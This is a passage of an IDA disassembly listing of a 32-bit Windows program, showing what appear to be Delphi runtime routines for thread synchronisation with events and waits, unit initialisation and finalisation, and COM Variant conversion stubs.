loc_2000B938:				; CODE XREF: sub_2000B914+2Ej
		mov	ebp, [ebp+0]


loc_2000B93B:				; CODE XREF: sub_2000B914+22j
		test	ebp, ebp
		jz	short loc_2000B944
		cmp	esi, [ebp+4]
		jnz	short loc_2000B938


loc_2000B944:				; CODE XREF: sub_2000B914+29j
		test	ebp, ebp
		jnz	short loc_2000B980
		mov	eax, edi
		call	sub_2000B99C
		mov	ebp, eax
		test	ebp, ebp
		jnz	short loc_2000B980
		mov	eax, 10h
		call	sub_20006F2C
		mov	ebp, eax
		mov	[ebp+4], esi
		mov	dword ptr [ebp+8], 7FFFFFFFh
		mov	[ebp+0], ebp
		xor	eax, eax
		mov	al, bl
		lea	eax, [edi+eax*4+4]
		mov	edx, ebp
		call	sub_2000B89C
		mov	[ebp+0], eax


loc_2000B980:				; CODE XREF: sub_2000B914+32j
					; sub_2000B914+3Fj
		mov	eax, [esp+14h+var_14]
		mov	[eax], ebp
		pop	edx
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_2000B914	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_2000B98C	proc near		; CODE XREF: CODE:2000BBBDp
					; CODE:2000BC56p
		mov	eax, [edx]
		xor	ecx, ecx
		mov	[eax+4], ecx
		mov	eax, [edx]
		xor	edx, edx
		mov	[eax+8], edx
		retn
sub_2000B98C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_2000B99C	proc near		; CODE XREF: sub_2000B914+36p
		push	ebx
		mov	ebx, eax
		mov	eax, ebx
		call	sub_2000B8FC
		and	eax, 0FFh
		mov	ebx, [ebx+eax*4+4]
		test	ebx, ebx
		jz	short loc_2000B9D7


loc_2000B9B3:				; CODE XREF: sub_2000B99C+39j
		lea	eax, [ebx+8]
		mov	edx, 7FFFFFFFh
		call	sub_2000B89C
		cmp	eax, 7FFFFFFFh
		jz	short loc_2000B9D1
		call	GetCurrentThreadId_0
		mov	[ebx+4], eax
		jmp	short loc_2000B9D7
; ---------------------------------------------------------------------------


loc_2000B9D1:				; CODE XREF: sub_2000B99C+29j
		mov	ebx, [ebx]
		test	ebx, ebx
		jnz	short loc_2000B9B3


loc_2000B9D7:				; CODE XREF: sub_2000B99C+15j
					; sub_2000B99C+33j
		mov	eax, ebx
		pop	ebx
		retn
sub_2000B99C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_2000B9DC	proc near		; CODE XREF: CODE:200126E0p
		push	ebx
		push	esi
		test	dl, dl
		jz	short loc_2000B9EA
		add	esp, 0FFFFFFF0h
		call	sub_2000373C


loc_2000B9EA:				; CODE XREF: sub_2000B9DC+4j
		mov	ebx, edx
		mov	esi, eax
		xor	edx, edx
		mov	eax, esi
		call	sub_200034C4
		mov	dword ptr [esi+0Ch], 0FFFFh
		push	0		; lpName
		push	0FFFFFFFFh	; bInitialState
		push	0FFFFFFFFh	; bManualReset
		push	0		; lpEventAttributes
		call	CreateEventA
		mov	[esi+10h], eax
		push	0		; lpName
		push	0		; bInitialState
		push	0		; bManualReset
		push	0		; lpEventAttributes
		call	CreateEventA
		mov	[esi+14h], eax
		mov	dword ptr [esi+18h], 0FFFFFFFFh
		mov	dl, 1
		mov	eax, off_20006D9C
		call	sub_200034C4
		mov	[esi+20h], eax
		mov	eax, esi
		test	bl, bl
		jz	short loc_2000BA49
		call	sub_20003794
		pop	large dword ptr	fs:0
		add	esp, 0Ch


loc_2000BA49:				; CODE XREF: sub_2000B9DC+5Cj
		mov	eax, esi
		pop	esi
		pop	ebx
		retn
sub_2000B9DC	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_2000BA50	proc near		; DATA XREF: CODE:20006EC0o
		push	ebx
		push	esi
		call	sub_200037A4
		mov	ebx, edx
		mov	esi, eax
		mov	eax, esi
		call	sub_2000BADC
		mov	edx, ebx
		and	dl, 0FCh
		mov	eax, esi
		call	sub_200034E4
		mov	eax, [esi+10h]
		push	eax		; hObject
		call	CloseHandle_0
		mov	eax, [esi+14h]
		push	eax		; hObject
		call	CloseHandle_0
		mov	eax, [esi+20h]
		call	sub_200034F4
		test	bl, bl
		jle	short loc_2000BA93
		mov	eax, esi
		call	sub_2000378C


loc_2000BA93:				; CODE XREF: sub_2000BA50+3Aj
		pop	esi
		pop	ebx
		retn
sub_2000BA50	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_2000BA98	proc near		; CODE XREF: sub_2000BADC+17p
					; sub_2000BADC+6Fp
		mov	eax, [eax+10h]
		push	eax		; hEvent
		call	ResetEvent
		retn
sub_2000BA98	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_2000BAA4	proc near		; CODE XREF: CODE:2000BBAAp
		mov	eax, [eax+10h]
		push	eax		; hEvent
		call	SetEvent
		retn
sub_2000BAA4	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_2000BAB0	proc near		; CODE XREF: CODE:2000BBA3p
					; CODE:2000BC0Fp ...
		mov	eax, [eax+14h]
		push	eax		; hEvent
		call	SetEvent
		retn
sub_2000BAB0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_2000BABC	proc near		; CODE XREF: CODE:2000BBF7p
					; CODE:2000BC1Dp
		mov	edx, [eax+18h]
		push	edx		; dwMilliseconds
		mov	eax, [eax+10h]
		push	eax		; hHandle
		call	WaitForSingleObject
		retn
sub_2000BABC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_2000BACC	proc near		; CODE XREF: sub_2000BADC+54p
		mov	edx, [eax+18h]
		push	edx		; dwMilliseconds
		mov	eax, [eax+14h]
		push	eax		; hHandle
		call	WaitForSingleObject
		retn
sub_2000BACC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_2000BADC	proc near		; CODE XREF: sub_2000BA50+Dp

var_14		= dword	ptr -14h

		push	ebx
		push	esi
		push	edi
		push	ebp
		push	ecx
		mov	edi, eax
		mov	bl, 1
		call	GetCurrentThreadId_0
		mov	esi, eax
		cmp	esi, [edi+24h]
		jz	short loc_2000BB6D
		mov	eax, edi
		call	sub_2000BA98
		mov	ebp, [edi+28h]
		mov	edx, esp
		mov	eax, [edi+20h]
		call	sub_2000B914
		mov	eax, [esp+14h+var_14]
		cmp	dword ptr [eax+0Ch], 0
		setnbe	bl
		test	bl, bl
		jz	short loc_2000BB35
		lea	eax, [edi+0Ch]
		call	sub_2000B884
		jmp	short loc_2000BB35
; ---------------------------------------------------------------------------


loc_2000BB1D:				; CODE XREF: sub_2000BADC+6Bj
		lea	eax, [edi+0Ch]
		mov	edx, 0FFFFh
		call	sub_2000B8A4
		test	eax, eax
		jz	short loc_2000BB35
		mov	eax, edi
		call	sub_2000BACC


loc_2000BB35:				; CODE XREF: sub_2000BADC+35j
					; sub_2000BADC+3Fj ...
		lea	eax, [edi+0Ch]
		mov	edx, 0FFFF0001h
		call	sub_2000B8A4
		cmp	eax, 0FFFFh
		jnz	short loc_2000BB1D
		mov	eax, edi
		call	sub_2000BA98
		test	bl, bl
		jz	short loc_2000BB5C
		lea	eax, [edi+0Ch]
		call	sub_2000B890


loc_2000BB5C:				; CODE XREF: sub_2000BADC+76j
		mov	[edi+24h], esi
		lea	eax, [edi+28h]
		call	sub_2000B884
		dec	eax
		cmp	eax, ebp
		setz	bl


loc_2000BB6D:				; CODE XREF: sub_2000BADC+13j
		inc	dword ptr [edi+1Ch]
		mov	eax, ebx
		pop	edx
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_2000BADC	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	ecx
		mov	ebx, eax
		mov	edx, esp
		mov	eax, [ebx+20h]
		call	sub_2000B914
		dec	dword ptr [ebx+1Ch]
		cmp	dword ptr [ebx+1Ch], 0
		jnz	short loc_2000BBAF
		xor	eax, eax
		mov	[ebx+24h], eax
		lea	eax, [ebx+0Ch]
		mov	edx, 0FFFFh
		call	sub_2000B8A4
		mov	eax, ebx
		call	sub_2000BAB0
		mov	eax, ebx
		call	sub_2000BAA4


loc_2000BBAF:				; CODE XREF: CODE:2000BB8Dj
		mov	eax, [esp]
		cmp	dword ptr [eax+0Ch], 0
		jnz	short loc_2000BBC2
		mov	edx, esp
		mov	eax, [ebx+20h]
		call	sub_2000B98C


loc_2000BBC2:				; CODE XREF: CODE:2000BBB6j
		pop	edx
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		align 4
		push	ebx
		push	esi
		push	ecx
		mov	esi, eax
		mov	edx, esp
		mov	eax, [esi+20h]
		call	sub_2000B914
		mov	eax, [esp]
		inc	dword ptr [eax+0Ch]
		mov	eax, [esp]
		cmp	dword ptr [eax+0Ch], 1
		setnbe	bl
		call	GetCurrentThreadId_0
		cmp	eax, [esi+24h]
		jz	short loc_2000BC2E
		test	bl, bl
		jnz	short loc_2000BC2E
		mov	eax, esi
		call	sub_2000BABC
		jmp	short loc_2000BC22
; ---------------------------------------------------------------------------


loc_2000BBFE:				; CODE XREF: CODE:2000BC2Cj
		lea	eax, [esi+0Ch]
		call	sub_2000B884
		cmp	eax, 0FFFFh
		jnz	short loc_2000BC14
		mov	eax, esi
		call	sub_2000BAB0


loc_2000BC14:				; CODE XREF: CODE:2000BC0Bj
		push	0
		call	Sleep
		mov	eax, esi
		call	sub_2000BABC


loc_2000BC22:				; CODE XREF: CODE:2000BBFCj
		lea	eax, [esi+0Ch]
		call	sub_2000B890
		test	eax, eax
		jle	short loc_2000BBFE


loc_2000BC2E:				; CODE XREF: CODE:2000BBEFj
					; CODE:2000BBF3j
		pop	edx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		align 4
		push	ebx
		push	ecx
		mov	ebx, eax
		mov	edx, esp
		mov	eax, [ebx+20h]
		call	sub_2000B914
		mov	eax, [esp]
		dec	dword ptr [eax+0Ch]
		mov	eax, [esp]
		cmp	dword ptr [eax+0Ch], 0
		jnz	short loc_2000BC99
		mov	edx, esp
		mov	eax, [ebx+20h]
		call	sub_2000B98C
		call	GetCurrentThreadId_0
		cmp	eax, [ebx+24h]
		jz	short loc_2000BC99
		lea	eax, [ebx+0Ch]
		call	sub_2000B884
		mov	ecx, eax
		cmp	ecx, 0FFFFh
		jnz	short loc_2000BC80
		mov	eax, ebx
		call	sub_2000BAB0
		jmp	short loc_2000BC99
; ---------------------------------------------------------------------------


loc_2000BC80:				; CODE XREF: CODE:2000BC75j
		test	ecx, ecx
		jg	short loc_2000BC99
		mov	eax, ecx
		mov	ecx, 0FFFFh
		cdq
		idiv	ecx
		test	edx, edx
		jnz	short loc_2000BC99
		mov	eax, ebx
		call	sub_2000BAB0


loc_2000BC99:				; CODE XREF: CODE:2000BC4Fj
					; CODE:2000BC63j ...
		pop	edx
		pop	ebx
		retn

; =============== S U B	R O U T	I N E =======================================



sub_2000BC9C	proc near		; CODE XREF: CODE:2000BF9Ep
					; CODE:20012640p ...
		mov	edx, [eax]
		xor	ecx, ecx
		mov	[eax], ecx
		mov	eax, edx
		call	sub_200034F4
		retn
sub_2000BC9C	endp

; ---------------------------------------------------------------------------
		align 4
dword_2000BCAC	dd 1Dh			; DATA XREF: CODE:2000C116o
		dd offset dword_20014320
		dd offset off_200144F8
		dd offset dword_20014318
		dd offset off_20014498
		dd offset dword_20014310
		dd offset off_200143EC
		dd offset dword_20014308
		dd offset off_2001451C
		dd offset dword_20014300
		dd offset off_20014530
		dd offset dword_200142F8
		dd offset off_20014440
		dd offset dword_200142F0
		dd offset off_20014484
		dd offset dword_200142E8
		dd offset off_200143C8
		dd offset dword_200142E0
		dd offset off_200144A4
		dd offset dword_200142D8
		dd offset off_200144BC
		dd offset dword_200142D0
		dd offset off_20014468
		dd offset dword_200142C8
		dd offset off_20014470
		dd offset dword_200142C0
		dd offset off_20014564
		dd offset dword_200142B8
		dd offset off_2001446C
		dd offset dword_200142B0
		dd offset off_20014594
		dd offset dword_200142A8
		dd offset off_200144E8
		dd offset dword_200142A0
		dd offset off_200144D4
		dd offset dword_20014298
		dd offset off_2001459C
		dd offset dword_20014290
		dd offset off_20014580
		dd offset dword_20014288
		dd offset off_2001447C
		dd offset dword_20014280
		dd offset off_20014568
		dd offset dword_20014278
		dd offset off_20014570
		dd offset dword_20014270
		dd offset off_20014434
		dd offset dword_20014268
		dd offset off_20014410
		dd offset dword_20014260
		dd offset off_200144D0
		dd offset dword_20014258
		dd offset off_20014518
		dd offset dword_20014250
		dd offset off_200143D4
		dd offset dword_20014248
		dd offset off_20014560
		dd offset dword_20014240
		dd offset off_20014478
dword_2000BD98	dd 28h			; DATA XREF: CODE:2000C120o
		dd offset off_20014238
		dd offset off_20014554
		align 8
		dd offset off_20014234
		dd offset off_200143F4
		dd 0
		dd offset off_20014230
		dd offset off_20014510
		align 10h
		dd offset off_2001422C
		dd offset off_200143E0
		dd 0
		dd offset off_20014228
		dd offset off_2001441C
		align 8
		dd offset off_20014224
		dd offset off_20014414
		dd 0
		dd offset off_20014220
		dd offset off_200143FC
		align 10h
		dd offset off_2001421C
		dd offset off_20014474
		dd 0
		dd offset off_20014218
		dd offset off_200144E4
		align 8
		dd offset off_20014214
		dd offset off_20014418
		dd 0
		dd offset off_20014210
		dd offset off_200144C8
		align 10h
		dd offset off_2001420C
		dd offset off_2001452C
		dd 0
		dd offset off_20014208
		dd offset off_20014524
		align 8
		dd offset off_20014204
		dd offset off_200144F0
		dd 0
		dd offset off_20014200
		dd offset off_20014464
		align 10h
		dd offset off_200141FC
		dd offset off_20014450
		dd 0
		dd offset off_200141F8
		dd offset off_200143DC
		align 8
		dd offset off_200141F4
		dd offset off_20014520
		dd 0
		dd offset off_200141F0
		dd offset off_200144AC
		align 10h
		dd offset off_200141EC
		dd offset off_20014448
		dd 0
		dd offset off_200141E8
		dd offset off_200144A0
		align 8
		dd offset off_200141E4
		dd offset off_200144DC
		dd 0
		dd offset off_200141E0
		dd offset off_200144A8
		align 10h
		dd offset off_200141DC
		dd offset off_20014458
		dd 0
		dd offset off_200141D8
		dd offset off_200143D8
		align 8
		dd offset off_200141D4
		dd offset off_2001448C
		dd 0
		dd offset off_200141D0
		dd offset off_20014574
		dd 0
		dd offset off_200141CC
		dd offset off_20014550
		dd 0
		dd offset off_200141C8
		dd offset off_200144C4
		align 8
		dd offset off_200141C4
		dd offset off_20014430
		dd 0
		dd offset off_200141C0
		dd offset off_200143E4
		align 10h
		dd offset off_200141BC
		dd offset off_20014548
		dd 0
		dd offset off_200141B8
		dd offset off_200145A8
		align 8
		dd offset off_200141B4
		dd offset off_20014400
		dd 0
		dd offset off_200141B0
		dd offset off_200143C4
		align 10h
		dd offset off_200141AC
		dd offset off_20014558
		dd 0
		dd offset off_200141A8
		dd offset off_200144C0
		align 8
		dd offset off_200141A4
		dd offset off_20014588
		dd 0
		dd offset off_20014180
		dd offset off_20014480
		align 10h
		dd offset off_2001417C
		dd offset off_20014438
		dd 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_2000C0F1
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_200157A4
		jnz	loc_2000C0E3
		mov	eax, offset dword_200157B0
		call	sub_2000BC9C
		call	sub_2000B808
		call	sub_2000AC24
		mov	eax, offset off_20014274
		mov	ecx, 16h
		mov	edx, off_2000A6FC
		call	sub_2000493C
		mov	eax, offset dword_2001423C
		mov	ecx, 7
		mov	edx, off_2000A67C
		call	sub_2000493C
		mov	eax, offset off_20014154
		mov	ecx, 2
		mov	edx, off_20001000
		call	sub_2000493C
		mov	eax, offset off_2001414C
		call	sub_20003FA8
		mov	eax, offset dword_200157A0
		mov	edx, off_20006D6C
		call	sub_20004E50
		mov	eax, offset dword_2001579C
		mov	edx, off_20006D48
		call	sub_20004E50
		mov	eax, offset dword_20015764
		mov	ecx, 7
		mov	edx, off_20001000
		call	sub_2000493C
		mov	eax, offset dword_20015738
		mov	ecx, 7
		mov	edx, off_20001000
		call	sub_2000493C
		mov	eax, offset dword_2001571C
		mov	ecx, 7
		mov	edx, off_20001000
		call	sub_2000493C
		mov	eax, offset dword_200156EC
		mov	ecx, 0Ch
		mov	edx, off_20001000
		call	sub_2000493C
		mov	eax, offset dword_200156BC
		mov	ecx, 0Ch
		mov	edx, off_20001000
		call	sub_2000493C
		mov	eax, offset dword_200156B8
		call	sub_20003FA8
		mov	eax, offset dword_200156B4
		call	sub_20003FA8
		mov	eax, offset dword_200156B0
		call	sub_20003FA8
		mov	eax, offset dword_200156AC
		call	sub_20003FA8
		mov	eax, offset dword_200156A4
		call	sub_20003FA8
		mov	eax, offset dword_200156A0
		call	sub_20003FA8
		mov	eax, offset dword_20015694
		call	sub_20003FA8
		mov	eax, offset dword_200140F4
		call	sub_20003FA8
		mov	eax, offset dword_200140E0
		call	sub_20004664
		mov	eax, offset dword_200140DC
		call	sub_20003FA8


loc_2000C0E3:				; CODE XREF: CODE:2000BF93j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_2000C0F8


loc_2000C0F0:				; CODE XREF: CODE:2000C0F6j
		retn
; ---------------------------------------------------------------------------


loc_2000C0F1:				; DATA XREF: CODE:2000BF82o
		jmp	loc_200039D0
; ---------------------------------------------------------------------------
		jmp	short loc_2000C0F0
; ---------------------------------------------------------------------------


loc_2000C0F8:				; CODE XREF: CODE:loc_2000C0F0j
					; DATA XREF: CODE:2000C0EBo
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 4
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_2000C164
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		sub	ds:dword_200157A4, 1
		jnb	short loc_2000C156
		mov	eax, offset dword_2000BCAC
		call	sub_20003D54
		mov	eax, offset dword_2000BD98
		call	sub_20003D7C
		cmp	ds:byte_2001565D, 0
		jz	short loc_2000C142
		mov	eax, offset off_2001414C
		mov	edx, offset dword_2000C178
		call	sub_20003FFC


loc_2000C142:				; CODE XREF: CODE:2000C131j
		call	sub_2000ABA0
		call	sub_2000ACA4
		call	sub_2000B828
		call	sub_2000B3DC


loc_2000C156:				; CODE XREF: CODE:2000C114j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_2000C16B


loc_2000C163:				; CODE XREF: CODE:2000C169j
		retn
; ---------------------------------------------------------------------------


loc_2000C164:				; DATA XREF: CODE:2000C102o
		jmp	loc_200039D0
; ---------------------------------------------------------------------------
		jmp	short loc_2000C163
; ---------------------------------------------------------------------------


loc_2000C16B:				; CODE XREF: CODE:loc_2000C163j
					; DATA XREF: CODE:2000C15Eo
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		dd 0FFFFFFFFh, 2
dword_2000C178	dd 7830h		; DATA XREF: CODE:2000C138o
; [00000006 BYTES: COLLAPSED FUNCTION VariantInit. PRESS KEYPAD	"+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION VariantClear. PRESS KEYPAD "+" TO	EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION VariantCopy. PRESS KEYPAD	"+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION VariantChangeType. PRESS KEYPAD "+" TO EXPAND]
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_2000C19C(VARIANTARG	*pvargDest, VARIANTARG *pvarSrc, int, USHORT wFlags, VARTYPE vt)

sub_2000C19C	proc near		; DATA XREF: sub_2000C62C+12o

pvargDest	= dword	ptr  8
pvarSrc		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
wFlags		= word ptr  14h
vt		= word ptr  18h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 400h
		jz	short loc_2000C1AF
		mov	eax, 80004001h
		jmp	short loc_2000C1C6
; ---------------------------------------------------------------------------


loc_2000C1AF:				; CODE XREF: sub_2000C19C+Aj
		mov	ax, [ebp+vt]
		push	eax		; vt
		mov	ax, [ebp+wFlags]
		push	eax		; wFlags
		mov	eax, [ebp+pvarSrc]
		push	eax		; pvarSrc
		mov	eax, [ebp+pvargDest]
		push	eax		; pvargDest
		call	VariantChangeType


loc_2000C1C6:				; CODE XREF: sub_2000C19C+11j
		pop	ebp
		retn	14h
sub_2000C19C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_2000C1CC	proc near		; DATA XREF: sub_2000C62C+28o
					; sub_2000C62C+3Eo
		push	ebp
		mov	ebp, esp
		mov	eax, 80004001h
		pop	ebp
		retn	8
sub_2000C1CC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_2000C1D8	proc near		; DATA XREF: sub_2000C62C+54o
					; sub_2000C62C+6Ao ...
		push	ebp
		mov	ebp, esp
		mov	eax, 80004001h
		pop	ebp
		retn	0Ch
sub_2000C1D8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_2000C1E4	proc near		; DATA XREF: sub_2000C62C+11Ao
		push	ebp
		mov	ebp, esp
		mov	eax, 80004001h
		pop	ebp
		retn	10h
sub_2000C1E4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_2000C1F0	proc near		; DATA XREF: sub_2000C62C+130o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0
		push	ebx
		xor	eax, eax
		push	ebp
		push	offset loc_2000C24A
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		cmp	[ebp+arg_4], 400h
		jz	short loc_2000C214
		mov	ebx, 80004001h
		jmp	short loc_2000C234
; ---------------------------------------------------------------------------


loc_2000C214:				; CODE XREF: sub_2000C1F0+1Bj
		lea	eax, [ebp+var_4]
		mov	edx, [ebp+arg_0]
		call	sub_20004230
		mov	eax, [ebp+var_4]
		mov	edx, [ebp+arg_C]
		call	sub_200072B4
		and	eax, 7Fh
		mov	ebx, ds:dword_2001432C[eax*4]


loc_2000C234:				; CODE XREF: sub_2000C1F0+22j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_2000C251


loc_2000C241:				; CODE XREF: sub_2000C1F0+5Fj
		lea	eax, [ebp+var_4]
		call	sub_20003FA8
		retn
; ---------------------------------------------------------------------------


loc_2000C24A:				; DATA XREF: sub_2000C1F0+9o
		jmp	loc_200039D0
; ---------------------------------------------------------------------------
		jmp	short loc_2000C241
; ---------------------------------------------------------------------------


loc_2000C251:				; CODE XREF: sub_2000C1F0+59j
					; DATA XREF: sub_2000C1F0+4Co
		mov	eax, ebx
		pop	ebx
		pop	ecx
		pop	ebp
		retn	10h
sub_2000C1F0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_2000C25C	proc near		; DATA XREF: sub_2000C62C+146o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0
		push	ebx
		xor	eax, eax
		push	ebp
		push	offset loc_2000C2B6
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		cmp	[ebp+arg_4], 400h
		jz	short loc_2000C280
		mov	ebx, 80004001h
		jmp	short loc_2000C2A0
; ---------------------------------------------------------------------------


loc_2000C280:				; CODE XREF: sub_2000C25C+1Bj
		lea	eax, [ebp+var_4]
		mov	edx, [ebp+arg_0]
		call	sub_20004230
		mov	eax, [ebp+var_4]
		mov	edx, [ebp+arg_C]
		call	sub_20008438
		and	eax, 7Fh
		mov	ebx, ds:dword_2001432C[eax*4]


loc_2000C2A0:				; CODE XREF: sub_2000C25C+22j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_2000C2BD


loc_2000C2AD:				; CODE XREF: sub_2000C25C+5Fj
		lea	eax, [ebp+var_4]
		call	sub_20003FA8
		retn
; ---------------------------------------------------------------------------


loc_2000C2B6:				; DATA XREF: sub_2000C25C+9o
		jmp	loc_200039D0
; ---------------------------------------------------------------------------
		jmp	short loc_2000C2AD
; ---------------------------------------------------------------------------


loc_2000C2BD:				; CODE XREF: sub_2000C25C+59j
					; DATA XREF: sub_2000C25C+4Co
		mov	eax, ebx
		pop	ebx
		pop	ecx
		pop	ebp
		retn	10h
sub_2000C25C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_2000C2C8	proc near		; DATA XREF: sub_2000C62C+15Co

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0
		push	ebx
		xor	eax, eax
		push	ebp
		push	offset loc_2000C322
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		cmp	[ebp+arg_4], 400h
		jz	short loc_2000C2EC
		mov	ebx, 80004001h
		jmp	short loc_2000C30C
; ---------------------------------------------------------------------------


loc_2000C2EC:				; CODE XREF: sub_2000C2C8+1Bj
		lea	eax, [ebp+var_4]
		mov	edx, [ebp+arg_0]
		call	sub_20004230
		mov	eax, [ebp+var_4]
		mov	edx, [ebp+arg_C]
		call	sub_2000840C
		and	eax, 7Fh
		mov	ebx, ds:dword_2001432C[eax*4]


loc_2000C30C:				; CODE XREF: sub_2000C2C8+22j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_2000C329


loc_2000C319:				; CODE XREF: sub_2000C2C8+5Fj
		lea	eax, [ebp+var_4]
		call	sub_20003FA8
		retn
; ---------------------------------------------------------------------------


loc_2000C322:				; DATA XREF: sub_2000C2C8+9o
		jmp	loc_200039D0
; ---------------------------------------------------------------------------
		jmp	short loc_2000C319
; ---------------------------------------------------------------------------


loc_2000C329:				; CODE XREF: sub_2000C2C8+59j
					; DATA XREF: sub_2000C2C8+4Co
		mov	eax, ebx
		pop	ebx
		pop	ecx
		pop	ebp
		retn	10h
sub_2000C2C8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_2000C334	proc near		; DATA XREF: sub_2000C62C+172o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0
		push	ebx
		xor	eax, eax
		push	ebp
		push	offset loc_2000C38E
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		cmp	[ebp+arg_4], 400h
		jz	short loc_2000C358
		mov	ebx, 80004001h
		jmp	short loc_2000C378
; ---------------------------------------------------------------------------


loc_2000C358:				; CODE XREF: sub_2000C334+1Bj
		lea	eax, [ebp+var_4]
		mov	edx, [ebp+arg_0]
		call	sub_20004230
		mov	eax, [ebp+var_4]
		mov	edx, [ebp+arg_C]
		call	sub_20009C50
		and	eax, 7Fh
		mov	ebx, ds:dword_2001432C[eax*4]


loc_2000C378:				; CODE XREF: sub_2000C334+22j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_2000C395


loc_2000C385:				; CODE XREF: sub_2000C334+5Fj
		lea	eax, [ebp+var_4]
		call	sub_20003FA8
		retn
; ---------------------------------------------------------------------------


loc_2000C38E:				; DATA XREF: sub_2000C334+9o
		jmp	loc_200039D0
; ---------------------------------------------------------------------------
		jmp	short loc_2000C385
; ---------------------------------------------------------------------------


loc_2000C395:				; CODE XREF: sub_2000C334+59j
					; DATA XREF: sub_2000C334+4Co
		mov	eax, ebx
		pop	ebx
		pop	ecx
		pop	ebp
		retn	10h
sub_2000C334	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_2000C3A0	proc near		; DATA XREF: sub_2000C62C+188o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0
		push	ebx
		xor	eax, eax
		push	ebp
		push	offset loc_2000C3FA
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		cmp	[ebp+arg_4], 400h
		jz	short loc_2000C3C4
		mov	ebx, 80004001h
		jmp	short loc_2000C3E4
; ---------------------------------------------------------------------------


loc_2000C3C4:				; CODE XREF: sub_2000C3A0+1Bj
		lea	eax, [ebp+var_4]
		mov	edx, [ebp+arg_0]
		call	sub_20004230
		mov	eax, [ebp+var_4]
		mov	edx, [ebp+arg_C]
		call	sub_20008464
		and	eax, 7Fh
		mov	ebx, ds:dword_2001432C[eax*4]


loc_2000C3E4:				; CODE XREF: sub_2000C3A0+22j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_2000C401


loc_2000C3F1:				; CODE XREF: sub_2000C3A0+5Fj
		lea	eax, [ebp+var_4]
		call	sub_20003FA8
		retn
; ---------------------------------------------------------------------------


loc_2000C3FA:				; DATA XREF: sub_2000C3A0+9o
		jmp	loc_200039D0
; ---------------------------------------------------------------------------
		jmp	short loc_2000C3F1
; ---------------------------------------------------------------------------


